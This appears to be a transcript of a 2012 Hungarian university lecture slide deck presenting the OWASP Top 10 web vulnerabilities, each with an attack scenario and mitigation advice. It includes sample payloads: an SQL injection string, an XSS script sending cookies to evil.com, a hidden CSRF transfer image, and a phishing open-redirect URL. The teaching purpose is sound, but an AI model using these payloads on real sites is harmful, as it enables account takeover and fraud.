1 / 37

OWASP TOP10

OWASP TOP10. Azaz a 10 legkritikusabb hiba web-alkalmazásokban 2012. November 28. Bemutatkozás. Prém Dániel Tanszéki mérnök az Óbudai Egyetemen. Az iSec Newton Security csoport egyik vezetője. prem.daniel @ nik.uni-obuda.hu. A TOP10 bemutatása.

arien
Download Presentation

OWASP TOP10

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. OWASP TOP10 Azaz a 10 legkritikusabb hiba web-alkalmazásokban 2012. November 28.

  2. Bemutatkozás • Prém DánielTanszéki mérnök az Óbudai Egyetemen.Az iSec Newton Security csoport egyik vezetője.prem.daniel@nik.uni-obuda.hu

  3. A TOP10 bemutatása A projekt célja, hogy összegyűjtse egy dokumentumba a webes alkalmazásokat érintő tíz legjelentősebb sérülékenységi fajtát és ezáltal segítséget nyújtson a szervezeteknek, hogy biztonságosabb programkódot készíthessenek. Az első lista 2003-ban látott napvilágot, majd frissítették 2004-ben, a következő kiadás 2007-ben debütált és a jelenlegi utolsó verzió 2010. április 19.-én került a nyilvánosság elé. A dokumentum eredeti nyelve angol, de lefordították francia, német, olasz, spanyol, kínai, japán, koreai, indonéz, vietnámi és héber nyelvre!

  4. A TOP10 felhasználói • U.S. DefenseInformation Systems Agency • U.S. Federal Trade Commission • PaymentCardIndustry (PCI) • British Telecom • Citibank • HP • IBM Global Services • Symantec • És még sokan mások…

  5. A TOP10-es lista áttekintése https://www.owasp.org/index.php/Top_10

  6. A1: Injection • A befecskendezés lényege, hogy adatokat vagy utasításokat juttatunk be az alkalmazáson keresztül a parancsértelmezőnek • SQL, LDAP, XPath, OS Shell, kódbefecskendezés, stb… • Sajnos a mai napig igen elterjedt (főleg az SQL Injection) azonban elég egyszerűen elkerülhető lenne megfelelő odafigyeléssel • Az elmúlt években olyan szervezetek estek áldozatul ennek a támadási formának mint a Sony, LinkedIn, eHarmony és a Yahoo

  7. A1: Injection Hacker Hanry betölti az oldalt Majd a támadást az űrlapba beírja és beküldi a szerverre Az alkalmazás felépíti az SQL lekérdezést és továbbítja az adatbázis felé Az adatbázis lefuttatja a módosított lekérdezést és az adatokat visszaküldi az alkalmazásnak Az alkalmazás kiadja az adatokat, jóváhagyja a hozzáférést, lefuttatja az utasításokat… SELECT * FROM `users` WHERE `name` = '' OR 1=1 --' AND `pass` = ''; user #1: Kiss Béla, kiss.bela@email.hu, … user #2: Nagy Nóra, nora.nagy@webcim.hu, …… user #n: Tóth Péter, pepe@webmail.hu, …

  8. A1: Injection • Javaslatok: • Alkalmazzunk megfelelő bemeneti paraméter ellenőrzést (pl.: típus, hossz, érték, stb…) • Ahol csak tehetjük, alkalmazzunk White List alapú ellenőrzést a bemenő adatokon • Használjunk jól bevált technikákat, mint aPreparedStatementsvagy StoredProcedures • A kiosztott adatbázis jogosultságot minimalizáljuk • Bővebben:http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

  9. A2: Cross-Site Scripting (XSS) • A támadás a felhasználók böngészőjében hajtódik végre • Lehet tárolt, tükrözött és DOM alapú • Szinte biztosan található minden web-alkalmazásban XSS sérülékenység… • Tipikusan a felhasználói munkamenet vagy érzékeny/személyes adatok megszerzésére használatos. De előfordul, hogy segítségével módosítják a weboldal tartamát, esetleg a látogatót átirányítják egy adathalász oldalra • Az elmúlt időszakban olyan honlapokban találtak XSS hibákat, mint az iwiw.hu, ebay.com, cnn.com, adobe.com, amazon.com, microsoft.com, myspace.com

  10. A2: Cross-Site Scripting (XSS) Tárolt XSS Hacker Hanry betölti az oldalt és az ártó kódját beküldi az alkalmazásnak Alice betölti az alkalmazást a tárolt kóddal együtt Alice böngészője lefuttatja a kódot és kiszolgáltatja az adatokat vagy módosítja a honlap szerkezét mivel a teljes DOM elérhető <script> document.write( ”<imgsrc=’http://evil.com?q=” + document.cookie + ”’ alt=’’ />” ); </script> Hacker Hanry letölti a szerverről milyen adatokat gyűjtött össze…

  11. A2: Cross-Site Scripting (XSS) • Javaslatok: • Ne használjuk fel (és ne jelenítsük meg) közvetlenül a felhasználók által bevitt adatokat • Alkalmazzunk kimeneti kódolást (pl.: HTML entitások) minden felhasználói adatra • Ha bejövő HTML adatot kell kezelni, akkor pedig minden esetben meg kell tisztítani az adatokathttp://www.owasp.org/index.php/AntiSamy • Bővebben:https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

  12. A3: BrokenAuthentication and Session Management • Az alkalmazások a felhasználók hitelesítését és munkamenet kezelését gyakran nem megfelelően hajtják végre, így lehetővé teszik a támadóknak, hogy megszerezzék esetleg kitalálják a jelszavakat és munkamenet azonosítókat, vagy egyéb végrehajtási hibákat kihasználva megszemélyesítsenek egy felhasználót. • A bejelentkezést sok esetben titkosított csatornán (SSL) lehet elvégezni, azonban ez sokszor nem kényszerített, tehát lehallgatható • Másik alapvető hiba, hogy munkamenet azonosító védelméről is megfeledkezünk. Tudni kell, hogy kinek adtuk oda, meddig érvényes, stb… • Egy hacker szemszögéből szinte lényegtelen, hogy a felhasználónév és jelszó párost szerzi meg vagy a munkamenet azonosítót, hiszen mind a kettő segítségével meg tudja személyesíteni az áldozatot • Természetesen ide tartozik még a gyenge jelszó kezelés, azaz nincs minimális hossz, vagy nincs megkövetelve a jelszó komplexitás • Valamint a nem kellő körültekintéssel megtervezett jelszó emlékeztető

  13. A3: BrokenAuthentication and Session Management Lehallgatás: Hacker Hanry monitorozza a hálózati forgalmat www.site.com?JSESSION=93C6A... Alice bejelentkezik az alkalmazásba Hacker Hanry megszerezte Alice belépési adatait Munkamenet eltérítés: Alice munkamenetét az oldal URL-ben adja vissza Alice kattint egy linkre, amit egy bejegyzésben talált (pl.: http://www.evil.com) Hacker Hanry letölti a napló referer tartalmát Hacker Hanry megszemélyesíti Alicet a munkament birtokában

  14. A3: BrokenAuthentication and Session Management • Javaslatok: • A beléptetés legyen egyszerű, centralizált és standardizált • Ügyeljünk arra, hogy a belépési adatokat és a munkamenet azonosítót mindig SSL csatornával védjük • Felejtsük el az automatizált sérülékenység vizsgálati eszközöket • Ellenőrizzük az SSL tanúsítvány hitelességét és érvényességét • Bizonyosodjunk meg arról, hogy a kilépés biztosan megszünteti a munkamenetet és a benne tárolt adatokat • Bővebben:https://www.owasp.org/index.php/Authentication_Cheat_Sheethttps://www.owasp.org/index.php/Session_Management_Cheat_Sheet

  15. A4: InsecureDirectObjectReferences • Akkor fordul elő, amikor egy hivatkozást helyezünk el egy állományra, oldalra, könyvtárra vagy bármilyen objektumra, anélkül, hogy bármilyen hozzáférés vezérlést alkalmaznánk • Ez a téma érinti a jogosultság kezelést és az A8-as URL hozzáférés korlátozásának hiányának fejezetét • Gyakori hiba, hogy csak azokat a tartalmakat listázzuk, amelyhez a felhasználónak joga van. Azonban a szerver oldalon amikor a konkrét kérés végrehajtódik ezt már nem ellenőrizzük újra. Így a támadó bármikor átírja az objektum hivatkozást és olyan tartalomhoz is hozzáférhet, amelyhez normál esetben nem lenne szabad

  16. A4: InsecureDirectObjectReferences A felhasználó betölti a bank online felületét https://onlinebank.com/overview? acc=4057 acc=4056 Hacker Hanry észreveszi, hogy a saját azonosítója a 4057 Majd módosítja a paramétert Végül Hacker Hanry megszerzi áldozata számlaösszesítőjén található információkat

  17. A4: InsecureDirectObjectReferences • Javaslatok: • Kerüljük a PathTraversal, Local File Inclusion lehetőségét • A közvetlen linkelés helyett alkalmazzunk valamilyen leképzési technikát:http://webapp.com/get?file=SecretReport.pdfhttp://webapp.com/get?file=C5LDJ28S832K • Ellenőrizzük, hogy a paraméter megfelelő formátumú-e • Minden esetben ellenőrizzük, hogy a felhasználó jogosult-e a tartalom elérésre • Ügyeljünk arra is, hogy csak a megfelelő műveletet végezhesse el az adott objektummal a felhasználó (pl.: olvasás, írás, törlés) • Bővebben:https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference

  18. A5: Cross-SiteRequestForgery (CSRF) • Ebben a támadásban a támadó ráveszi az áldozat böngészőjét, hogy egy kérést intézzen a sérülékeny alkalmazás felé • Ez a módszer azért sikeres, mert a böngésző minden kéréshez elküldi az azonosítási adatokat is, mint pl.: AuthenticationHeader, Session ID, IP cím, Windows domaincreditentials, stb… • Továbbá az is hozzájárul, hogy az áldozat nem lép ki az alkalmazásból • Az előző két pont hatásaként a támadó olyan kéréseket indíthat a sérülékeny alkalmazás felé, amit az legitim forgalomnak fog értékelni • Tipikusan arra használják, hogy átutalásokat kezdeményezzenek, esetleg zároljanak egy fiókot, vagy bizalmas adatokhoz férjenek hozzá

  19. A5: Cross-SiteRequestForgery (CSRF) Hacker Hanry elhelyezi az ártalmas kódot egy honlapon, amit az áldozati is látogat Alice meglátogatja a sérülékeny alkalmazást, viszont nem jelentkezik ki Kicsivel később Alice meglátogatja azt az oldalt, ahová Hacker Hanry beszúrta az ártalmas kódját Alice böngészője értelmezi a kódot, majd egy legitimnek tűnő kérést intéz a sérülékeny alkalmazáshoz Alice nevében, amit valójában Hacker Hanry kezdeményezett… <imgsrc=”http://mybank.com/transfer? amount=1500&dstAcc=4057” width=”0” height=”0” />

  20. A5: Cross-SiteRequestForgery (CSRF) • Javaslatok: • Használjunk tokenrendszert, ahol érzékeny adatok feldolgozása történik, ezáltal ellehetetlenítve a támadót, hogy kérést hamisítson • A tokennek kriptográfiai erősségűnek vagy randomnak kell lennie • Kerüljük a token URL-be helyezését, mert a referer mezővel kiolvasható • Űrlapok esetében a rejtett mező erősen javasolt • Minden egyes kérésnek egyedi tokenjelegyen, lehetőleg lejárati idővel • Használjunk másodlagos (kétfaktoros) authentikációtaz érzékeny műveletekhez • Bővebben:https://www.owasp.org/index.php/CSRF_Prevention_Cheat_Sheet

  21. A6: SecurityMisconfiguration • Az igazi biztonság megköveteli, hogy a teljes rendszer naprakész és jól konfigurált legyen az operációs rendszertől a web és adatbázis szerveren át a teljes alkalmazásig • Mindezeket a beállításokat meg kell határozni, végre kell hajtani majd folyamatosan karbantartani és ellenőrizni • Fontos azt is tudni, hogy a gyártók a termékeket alapból nem a biztonságos konfigurációval látják el, hiszen akkor a használatba vétel igen nehézkes lenne. Emiatt azt későbbi beállításokkal kell megteremteni • Nem szabad megfeledkezni hogy nem csak az OS-t és az alkalmazásokat kell ellenőrizni, hanem minden osztálykönyvtárat és külső modult is amelyet az alkalmazás használ

  22. A6: SecurityMisconfiguration

  23. A6: SecurityMisconfiguration • Javaslatok: • Ellenőrizni kell a beállításokat minden szinten • Javasolt a HardeningGuide-ok alkalmazása • Az automatizálásezen a ponton NAGYON HASZNOS lehet • Tartsuk napra késszen a rendszereket a javításokkal, nem csak az operációs rendszer és az alkalmazásokat, hanem minden osztálykönyvtárra fordítsunk kellő figyelmet • Elemezzük a változások biztonsági hatását • Bővebben:https://www.owasp.org/index.php/Configurationhttps://www.owasp.org/index.php/Testing_for_configuration_management

  24. A7: InsecureCryptographic Storage • Elmulasztjuk meghatározni az érzékeny adatokat így általában nem a kellő körültekintéssel kezeljük őket • Valamint nem figyelünk eléggé, hogy minden előfordulási helyen megfelelően kezeljük azokat • Ebbe a részbe beletartozik: • a gyenge titkosítás, ami miatt visszafejthető az adat • a titkosítási kulcs nem megfelelő kezelése (pl.: a szalagos meghajtóra került adatokat titkosítjuk, majd a kulcs ugyan arra a szalagra kerül) • a hibásan implementált jelszó kivonatok, hiszen egy sózás nélküli hash akár néhány óra alatt visszafejthető lehet • a napló állományokba bekerült ellenőrizetlen adatok (pl.: a webszerver naplójába letároljuk a felhasználói jelszavakat)

  25. A7: InsecureCryptographic Storage Az áldozat megadja a bankkártya adatait az alkalmazásnak A hibanaplózó lementi a kérés adatait a napló állományba, mivel a Fizetési Átjáró nem elérhető Minden IT dolgozó számára elérhetőek a napló állományok a hibakeresés céljából Egy belső munkatárs máris meglovasítja a naplóban található 4 millió kártya számot…

  26. A7: InsecureCryptographic Storage • Javaslatok: • Azonosítsuk az érzékeny adatokat • Azonosítsuk a helyeket ahova az érzékeny adatok kerülhetnek • Védjük az adatokat és folyamatokat megfelelő titkosítással vagy kivonatolással • Használjunk standard és bizonyított eljárásokat ne találjunk ki sajátot, mert az nem bizonyított • A kulcsok kezelése legyen megoldva és kellő körültekintéssel kezelve • Készüljünk fel kulcsserére • Bővebben:https://www.owasp.org/index.php/Top_10_2007-Insecure_Cryptographic_Storagehttps://www.owasp.org/index.php/Guide_to_Cryptographyhttps://www.owasp.org/index.php/Codereview-Cryptography

  27. A8: Failure to Restrict URL Access • Ez a téma kapcsolatban áll a jogosultság kezeléssel és az A4-es fejezettel, ami a nem biztonságos közvetlen objektum hozzáférés címet viselte • Ez a fejezet viszont kifejezetten az alkalmazás oldalaira tér ki az URL manipulálásával • Az alapvető probléma, hogy a jogosultságokat a linkrendszerbe építik bele és csak azokat a linkeket vagy menüket jelenítik meg a felhasználó számára amihez joga van, azonban ha kézzel átírja a hivatkozásokat és a szerver oldalon nem történik meg az újraellenőrzés, hogy ténylegesen jogosult-e a tartalom megtekintésére vagy módosítására…

  28. A8: Failure to Restrict URL Access A felhasználó betölti a bank online felületét admin user /overview https://onlinebank.com/ Hacker Hanry észreveszi, hogy felhasználó szerepkörben van Majd módosítja a paramétert, ezáltal a szerepkörét Végül Hacker Hanry magasabb jogkörre tesz szert, mint alapból járna neki, így több információhoz jut hozzá

  29. A8: Failure to Restrict URL Access • Javaslatok: • Minden oldalnak 3 dologra van szüksége: • Ellenőrizze, hogy a felhasználó belépett-e (ha nem publikus a tartalom) • Végre kell hajtani a felhasználói vagy a szerepkör alapú jogosultságkezelést • Teljesen le kell tiltani a lehetőségét a jogosulatlan kérelmeknek, amelyek konfigurációs állományokra, napló fájlokra vagy forrás állományokra irányulnak • Alkalmazzunk White List féle megközelítést • Az automatizált eszközök itt is sokszor gyengének bizonyulnak • Bővebben:https://www.owasp.org/index.php/Guide_to_Authorizationhttps://www.owasp.org/index.php/Testing_for_Path_Traversalhttps://www.owasp.org/index.php/Forced_browsing

  30. A9: Insufficient Transport Layer Protection • Az alkalmazások gyakran nem hitelesítik vagy titkosítják az érzékeny adatokat a hálózati forgalomban, ezáltal sérül a bizalmasság és a sértetlenség • Ha mégis, akkor előfordul, hogy gyenge algoritmusokat, érvénytelen tanúsítványokat használnak, esetleg nem megfelelően kezelik őket • A támadó emiatt könnyűszerrel hozzáférhet olyan privát adatokhoz, mint az infrastruktúra elemei, operációs rendszer adatok, felhasználói azonosítók, bankkártya adatok, egészségügyi információk, pénzügyi adatok, stb… • A megszerzett adatokat későbbi támadáshoz felhasználhatja, de akár a feketepiacon is eladhatja

  31. A9: Insufficient Transport Layer Protection A külső támadó könnyedén lehallgathatja a hálózati forgalmat és megszerezheti a belépési adatokat Sok esetben csak a web szerver és a kliens közötti kapcsolat titkosított, ekkor minden gond nélkül egy belső támadó lehallgathatja az alkalmazás és a backend közötti forgalmat

  32. A9: Insufficient Transport Layer Protection • Javaslatok: • Alkalmazzunk TLS kapcsolatot mindenhol, ahol érzékeny adat közlekedik • Egyenként minden üzenetet titkosítsunk • Digitálisan írjuk alá az üzeneteket • Standard algoritmusokat használjunk • Megfelelően tároljuk a kulcsokat és a tanúsítványokat • Ellenőrizzük az SSL tanúsítványokat mielőtt használjuk • Bővebben:https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheethttps://www.owasp.org/index.php/Testing_for_SSL-TLS

  33. A10: Avoiding Unvalidated Redirects and Forwards • A webes alkalmazások gyakran átirányítják (Redirect) vagy továbbítják (Forward/Transfer) egy másik lapra a felhasználókat • Megfelelő ellenőrzés nélkül a támadó ezt kihasználhatja és átirányíthatja a felhasználót egy adathalász oldalra • De akár egy továbbítás segítségével jogosulatlan tartalomhoz is hozzáférhet a támadó, hiszen kikerülheti a hozzáférés vezérlés mechanizmusát

  34. A10: Avoiding Unvalidated Redirects and Forwards Hacker Hanry levelet küld az Alice céges E-mail címére Alice kattint a linkre, mivel megbízik benne, hiszen jó domain névre mutat Az alkalmazás nem ellenőrzi a redirect paramétert tehát szól Alice böngészőjének, hogy átirányítja a következő lapra, ami jelen esetben egy adathalász oldal Alice böngészője betölti az adathalász oldalt From: noreply@nav.hu To: alice@cegem.hu Subject: Nem várt adó visszatérítés A nyilvántartásunk szerint Önnek lehetősége van adó visszatérítést igényelnie! A folyamat elkezdéséhez kérjük kattintson ide. http://nav.gov.hu/ado?ev=2012 &...&redirect=www.adathalasz.hu Alice megbízik az adathalász oldalban, hiszen az előbb ellenőrizte az címet és kinézete is megegyezik az eredetivel

  35. A10: Avoiding Unvalidated Redirects and Forwards • Javaslatok: • Minimalizáljuk az átirányítások számát az alkalmazásban • Ha alkalmazzuk, akkor kerüljük a felhasználói paraméterben megadható átirányításokat • Ha elkerülhetetlen a paraméteres átirányítás akkor mindig ellenőrizzük, hogy a felhasználó jogosult-e az átirányított oldalt elérni • Külső átirányítás esetén ellenőrizzük, hogy a cél szerepel-e a fehérlistán • Bővebben:https://www.owasp.org/index.php/Open_redirect

  36. Hogyan lehet megoldani ezeket a problémákat? • Fejlesszünk biztonságos kódot • OWASP’s Guide to Building Secure Web Applications http://www.owasp.org/index.php/Guide • OWASP’s ApplicationSecurityVerification Standardhttp://www.owasp.org/index.php/ASVS • OWASP’s EnterpriseSecurityAPIhttp://www.owasp.org/index.php/ESAPI • Ellenőrizzük az alkalmazást • Legyen egy szakértői csoport aki átnézi az alkalmazást • OWASP's CodeReviewGuidehttp://www.owasp.org/index.php/Code_Review_Guide • OWASP's Testing Guidehttp://www.owasp.org/index.php/Testing_Guide

  37. Köszönöm a figyelmet

More Related